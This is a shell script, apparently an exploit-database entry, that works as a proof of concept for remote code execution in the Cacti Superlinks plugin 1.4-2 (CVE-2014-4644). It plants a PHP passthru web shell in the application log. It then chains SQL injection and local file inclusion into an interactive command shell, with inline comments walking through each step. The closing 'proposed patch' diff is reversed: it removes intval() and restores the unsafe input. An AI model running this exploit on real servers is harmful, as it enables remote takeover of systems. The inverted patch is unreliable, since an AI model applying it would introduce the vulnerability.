#!/bin/sh ############## # Exploit Title: Cacti - Superlinks Plugin 1.4-2 RCE(LFI) via SQL Injection # Date: 19/12/2014 # Exploit Author: Wireghoul # Software Link: http://docs.cacti.net/plugin:superlinks # Identifiers: CVE-2014-4644, EDB-ID-33809 # Exploit explanation through inline comments # Patch provided at the end # # This is the year where hope fails you -- Slipknot: Pulse of the maggots # ############## echo -e "\e[32m *-*, \e[31m ___________" echo -e "\e[32m ,*\/|\`| ; \e[31m /.'_______\`.\\" echo -e "\e[32m \\' | |'; *, \e[31m /( (_______\`-'\\" echo -e "\e[32m \ \`| | ;/ ) \e[31m \`.\`.______ \.'" echo -e "\e[32m : |'| , / \e[31m \`..-.___>.'" echo -e "\e[32m :'| |, / \e[31m \`.__ .'\e[0m" echo -e " _________\e[32m:_|_|_;\e[0m_______________\e[31m\`.'\e[0m_______[Wireghoul]___" echo -e " CACTI SUPERLINKS PLUGIN 1.4-2 REMOTE CODE EXECUTION PoC" echo if [ -z $1 ]; then echo -e "Usage $0 <superpluginurl>\n $0 http://example.com/cacti/plugins/superlinks/superlinks.php\n"; exit 2; fi # This exploit is a second order LFI through SQLI, so first we must write some data to disk # Luckily the application logs all sort of stuff, so lets poison the application log # The reason for this is manyfold, read on. curl --silent "$1?id=SHELL<?php+passthru(\$_GET\[c\])+?>LLEHS<?php+exit+?>" > /dev/null # Now lets analyse the vulnerability: # superlinks.php:21:if (isset($_GET['id'])) { # superlinks.php:22: $pageid=$_GET['id']; # superlinks.php:23:} # superlinks.php:24: # superlinks.php:25:$page = db_fetch_row("SELECT DISTINCT # superlinks.php:26: id, # superlinks.php:27: title, # superlinks.php:28: style, # superlinks.php:29: contentfile # superlinks.php:30: FROM (superlinks_pages, superlinks_auth) # superlinks.php:31: WHERE superlinks_pages.id=superlinks_auth.pageid # superlinks.php:32: AND id=" . $pageid . " # This is where the injection occurs, we can now union select 1,2,3,4 -- ftw # However the real fun occurs a few lines later # superlinks.php:57: $my_file = $config["base_path"] . "/plugins/superlinks/content/" . $page['contentfile']; # superlinks.php:58: # superlinks.php:59: if (file_exists($my_file)) { # superlinks.php:60: @include_once($my_file); # We can now include a file of our choosing (LFI) based on the data returned from the SQLi # There are only a few problems: # * We cannot use strings/quotes as magic quotes are usually on # * We do not know the local path for the LFI # * Usual tricks like /proc/self* have been patched # * Database server and web server may be different hosts # Lets solve the easy one first, we dont need to quote our strings, hex encoding works great # The second one is a little trickier, we can brute force LFI locations... or # We can dynamically locate a file path which is stored in the database and present on the webserver # $ mysqldump cacti | grep '\.log' # INSERT INTO `settings` VALUES ('path_php_binary','/usr/bin/php'),('path_rrdtool','/usr/bin/rrdtool'),('poller_lastrun','1414565401'),('path_webroot','/usr/share/cacti/site'),('date','2014-10-29 17:50:02'),('stats_poller','Time:0.1182 Method:cmd.php Processes:1 Threads:N/A Hosts:2 HostsPerProcess:2 DataSources:0 RRDsProcessed:0'),('stats_recache','RecacheTime:0.0 HostsRecached:0'),('path_snmpwalk','/usr/bin/snmpwalk'),('path_snmpget','/usr/bin/snmpget'),('path_snmpbulkwalk','/usr/bin/snmpbulkwalk'),('path_snmpgetnext','/usr/bin/snmpgetnext'),('path_cactilog','/var/log/cacti/cacti.log'),('snmp_version','net-snmp'),('rrdtool_version','rrd-1.4.x'),('superlinks_tabstyle','0'),('superlinks_hidelogo','0'),('superlinks_hideconsole','0'),('superlinks_db_version','1.4'),('auth_method','1'),('guest_user','guest'),('user_template','0'),('ldap_server',''),('ldap_port','389'),('ldap_port_ssl','636'),('ldap_version','3'),('ldap_encryption','0'),('ldap_referrals','0'),('ldap_mode','0'),('ldap_dn',''),('ldap_group_require',''),('ldap_group_dn',''),('ldap_group_attrib',''),('ldap_group_member_type','1'),('ldap_search_base',''),('ldap_search_filter',''),('ldap_specific_dn',''),('ldap_specific_password',''); # $ ls -la /var/log/cacti/cacti.log # -rw-r----- 1 www-data www-data 5838 Oct 29 17:50 /var/log/cacti/cacti.log # $ tail /var/log/cacti/cati.log # <snip> ERROR: SQL Assoc Failed!, Error:'1064', SQL:"SELECT graph_templates.id, graph_templates.name FROM (graph_local,graph_templates,graph_templates_graph) WHERE graph_local.id=graph_templates_graph.local_graph_id AND graph_templates_graph.graph_template_id=graph_templates.id AND graph_local.host_id=1 AND graph_templates.id=12 select 1,2,3,4 -- GROUP BY graph_templates.id ORDER BY graph_templates.name" # WINRAR! # We can now include the poisoned log file by fetching the log path from the database # and prepending it with the normal directory traversal pattern ../../../ using concat() # We traverse 8 deep, that's usually enough echo -ne "Dropping into shell, type exit to quit.\ncactishell> " while read line; do if [ "$line" == "exit" ]; then exit fi comand=`echo -n $line | sed -e's/ /+/g'` curl --silent "$1?id=123+union+select+1,2,3,concat(0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f,value)+from+settings+where+name=0x706174685f63616374696c6f67+--+-&c=$comand" | \ sed -n '/SHELL/, $p' | \ sed -e 's/.*SHELL//' |\ sed '/LLEHS/, $d' echo -n "cactishell> " done # Proposed patch # Vendor has a patch in a SVN repo somewhere: # http://bugs.cacti.net/bug_view_advanced_page.php?bug_id=2475 # Yet has not made the patch available, or responded to requests to do so: # http://forums.cacti.net/viewtopic.php?t=53711 #--- superlinks.php 2014-12-18 02:05:37.706013833 -0500 #+++ superlinks.php 2014-12-18 02:05:09.694014497 -0500 #@@ -19,7 +19,7 @@ # # $pageid = 0; # if (isset($_GET['id'])) { #- $pageid=intval($_GET['id']); #+ $pageid=$_GET['id']; # } # # $page = db_fetch_row("SELECT DISTINCT